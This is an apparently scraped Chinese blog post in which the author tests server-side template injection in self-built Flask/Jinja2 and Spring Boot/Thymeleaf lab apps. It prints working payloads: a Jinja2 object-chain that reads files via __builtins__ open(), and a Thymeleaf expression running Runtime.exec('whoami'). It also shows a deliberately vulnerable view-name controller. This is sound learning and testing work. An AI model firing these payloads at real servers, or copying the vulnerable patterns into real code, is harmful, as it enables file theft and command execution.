当前位置: 首页 > news >正文

怎么建设大型商务网站贸易类文章网站

怎么建设大型商务网站,贸易类文章网站,请人建网站应注意什么,自助建站系统免授权版文章目录 一、什么是SSTI?二、python 中的 Jinja2 漏洞验证三、Java 的 Thymeleaf 模版漏洞验证四、小结 一、什么是SSTI? SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的W…

文章目录

  • 一、什么是SSTI?
  • 二、python 中的 Jinja2 漏洞验证
  • 三、Java 的 Thymeleaf 模版漏洞验证
  • 四、小结

一、什么是SSTI?

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。

常用语言产生SSTI漏洞有哪些呢?
在这里插入图片描述

二、python 中的 Jinja2 漏洞验证

环境搭建:


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2024/3/10 21:00
# @Author  :  liWen
# @File    : sstiTest.py
# @Software: PyCharm
# @Desc    :  SSTI 模板注入学习from flask import Flask
app = Flask(__name__)@app.route('/')
@app.route('/index')
def index():return "ssti  模版漏洞学习"if __name__ == "__main__":app.run()

访问页面显示:
在这里插入图片描述

简单环境搭建成功后,开始编写 SSTI 漏洞代码,参考如下:
在这里插入图片描述

访问不存在页面就会提示下面信息 :
在这里插入图片描述

当输入错误页面并且携带参数404时页面显示:
在这里插入图片描述
验证是否有漏洞:
在这里插入图片描述
输入{{2/2}}=1.0 表示已经开始计算。

再次输入:"".__class__.__bases__[0].__subclasses__()

提示:
在这里插入图片描述

很多文章都说到,Python 在导入os模块时会和 warning.catch_warnings 相关,所以我就在终端遍历上面数据获取的数据参考如下:


>>> ss = "".__class__.__bases__[0].__subclasses__()
>>> for index, element in enumerate(ss):
...      print(f'Index: {index}, Element: {element}')
...
Index: 0, Element: <class 'type'>
Index: 1, Element: <class 'weakref'>
.....
......
......Index: 140, Element: <class 'types._GeneratorWrapper'>
Index: 141, Element: <class 'warnings.WarningMessage'>
Index: 142, Element: <class 'warnings.catch_warnings'>
Index: 143, Element: <class 'importlib.abc.Finder'>
Index: 144, Element: <class 'importlib.abc.Loader'>
Index: 145, Element: <class 'importlib.abc.ResourceReader'>
Index: 146, Element: <class 'operator.itemgetter'>

之后在 Pycharm 中输入:
在这里插入图片描述

在 bachbar 插件中执行:

http://127.0.0.1:5000/7dgroup?404={{"".__class__.__bases__[0].__subclasses__()[142].__init__.__globals__[%27__builtins__%27][%27open%27](%27/Users/liwen/PycharmProjects/suanfa/ssit/templates/ss.txt%27).read()}}

结果显示:
在这里插入图片描述
能读取文件信息,那么就能执行命令,在验证过程中,执行“ls”等一系列命令后,都没有出现安全漏洞估计是版本问题。

网上公布相关安全漏洞后,先验证是不是该版本导致漏洞,如果是能否先通过升级版本解决该漏洞,如果不能,再想一想怎么把风险降到最低,减少资产损失。

三、Java 的 Thymeleaf 模版漏洞验证

官方网站 https://www.thymeleaf.org/

Thymeleaf 是一款用于渲染 HTML/XML/TEXT/JAVASCRIPT/CSS/RAW 内容的模板引擎。它与 JSP,Velocity,FreeMaker 等模板引擎类似,也可以轻易地与 Spring MVC 等 Web 框架集成。与其它模板引擎相比,Thymeleaf 最大的特点是,即使不启动 Web 应用,也可以直接在浏览器中打开并正确显示模板页面,Thymeleaf 支持 HTML 原型,其文件后缀为“.html”,因此它可以直接被浏览器打开,此时浏览器会忽略未定义的 Thymeleaf 标签属性,展示 thymeleaf 模板的静态页面效果;当通过 Web 应用程序访问时,Thymeleaf 会动态地替换掉静态内容,使页面动态显示。

环境搭建springbot + Thymeleaf 实现,新建项目,选择 Thymeleaf 模版解析器
在这里插入图片描述

点击创建即可,IDEA 就能显示项目:
在这里插入图片描述

添加 index 模版:


<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head><meta charset="UTF-8"><title>学习 ssti 注入 </title>
</head>
<body>
<h1>学习 ssti 注入</h1>
<span th:text="${data}">欢迎您访问静态页面 HTML</span>
</body>
</html>

添加后端代码:

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;/*** @description: 首页ssti模版漏洞解析学习* @author: 李文* @create: 2024-03-10 19:48**/
@Controller
public class IndexController {/*** 模版解析** @param model* @param data* @return*/@RequestMapping(value = "/thymeleaf/index")public String index(Model model, @RequestParam String data) {model.addAttribute("data", data);return "index";}
}

默认springboot 中的 thymeleaf 开启缓存不利于调试,这里先关闭:

#thymeleaf 页面的缓存开关,默认 true 开启缓存
#建议在开发阶段关闭 thymeleaf 页面缓存,目的实时看到页面
spring.thymeleaf.cache=false
#前缀:thymeleaf 模版前缀,默认可以不写
spring.thymeleaf.prefix=classpath:/templates/
# 后缀:thymeleaf 模版后缀,默认可以不写
spring.thymeleaf.suffix=.html

启动项目后在浏览器访问8080端口,验证项目是否启动成功?
在这里插入图片描述

再次请求之前定义好的模版请求:

http://localhost:8080/thymeleaf/index?data=7dgrouup

浏览器显示:
在这里插入图片描述

再次修改代码:

/*** 验证ssti是否有漏洞** @param data* @return*/@GetMapping(value = "/thymeleaf/ssti")public String indexSsti(@RequestParam String data) {return "page/" + data;}

再次执行命令:

http://localhost:8080/thymeleaf/ssti?data=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

结果显示:
在这里插入图片描述

后台代码显示:
在这里插入图片描述

发现漏洞并没有显示出来,网上有很多资料这样执行是会出现当前用户信息,估计是sprintboot+thymeleaf 在特定版本会出现漏洞,目前使用的我版本是:

<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.2.3</version><relativePath/> <!-- lookup parent from repository --></parent>
------------<dependency><groupId>org.thymeleaf</groupId><artifactId>thymeleaf-spring6</artifactId><version>3.1.2.RELEASE</version><scope>compile</scope></dependency>-----------

JDK版本为:

<java.version>17</java.version>

四、小结

上面是验证的过程,虽然漏洞没有验证出来,但是对自己学习安全测试,并且验证是否存在安全漏洞有初步的尝试经验 。

http://www.yayakq.cn/news/765909/

相关文章:

  • 一个网站怎么建设wordpress查看jquery版本号
  • 网站定制解决方案加强公司网站平台建设的意义
  • 大学院系网站建设公文写作网站
  • 做网站的博客网站如何维护
  • 用游戏人物做网站属于侵权吗wordpress保存远程图片
  • 官方网站怎么建设的wordpress全站ajax插件
  • 创造与魔法官方网站做自己喜欢的事网站开发工具软件
  • 签署网站建设协议新闻深圳做专业网站
  • 网站制作的管理潍坊专科院校
  • 网站建设行业企业发展前景aws个人免费版
  • 做母婴产品的网站学做视频t的网站
  • 国外网站排行wordpress 同步到微博
  • 营口市住房建设保障办官方网站禄丰县住房和城乡建设局网站
  • 网站建设与推广实训小结上海做oocl船的公司网站
  • 网页设计师培训班招生网站seo做点提升流量
  • wordpress网站布置报告编号怎么获取
  • 商城网站建设视频北京出名做网站的公司
  • 松门建设规划局网站室内设计网站排行榜前十名有哪些
  • 手机网站页面html简单网页代码
  • 楚雄市住房和城乡建设局网站六安头条网
  • 苏州市城乡和建设局网站wordpress 注册图片
  • cpa没有网站怎么做如何做线上营销
  • wordpress做外贸站北京市住房和城乡建设部网站首页
  • 网站建设了推广方案长春网络公司排名
  • 大良营销网站建设流程wordpress安装mysql
  • 网站界面怎么做网站怎么做实名认证
  • 做特效很牛的一个外国网站高校网站建设的时效性
  • 衡水网站制作费用陕西网站建设优化建站
  • 天猫网站设计特点如何做一份企业网站规划
  • 行业资讯平台网站建设万网账号跟网站有关系吗